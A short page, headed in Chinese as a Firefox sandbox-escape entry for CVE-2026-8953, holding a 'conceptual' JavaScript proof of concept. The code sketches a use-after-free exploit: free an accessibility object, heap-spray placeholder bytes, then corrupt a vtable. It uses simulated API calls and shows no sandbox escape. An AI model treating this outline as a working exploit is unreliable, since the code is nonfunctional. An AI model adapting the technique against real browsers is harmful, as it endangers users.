CVE-2026-8953 Firefox沙箱逃逸漏洞

// Conceptual PoC for CVE-2026-8953 Use-After-Free // Exploiting Disability Access APIs function triggerVulnerability() { // 1. Create vulnerable object in Accessibility API let vulnObject = new AccessibilityNode(); // 2. Setup dangling pointer by freeing the object // (Simulated internal browser behavior) vulnObject.cleanup(); // 3. Heap spray to reclaim freed memory with controlled data let buffer = new ArrayBuffer(0x1000); let view = new DataView(buffer); // Fill with ROP gadgets or shellcode placeholders for(let i=0; i<0x1000; i++) { view.setUint8(i, 0x41); } // 4. Trigger Use-After-Free to corrupt vtable // Accessing vulnObject now uses attacker-controlled memory vulnObject.triggerAccess(); } // Note: This code demonstrates the logic flow required to exploit // the UAF condition in the vulnerable component.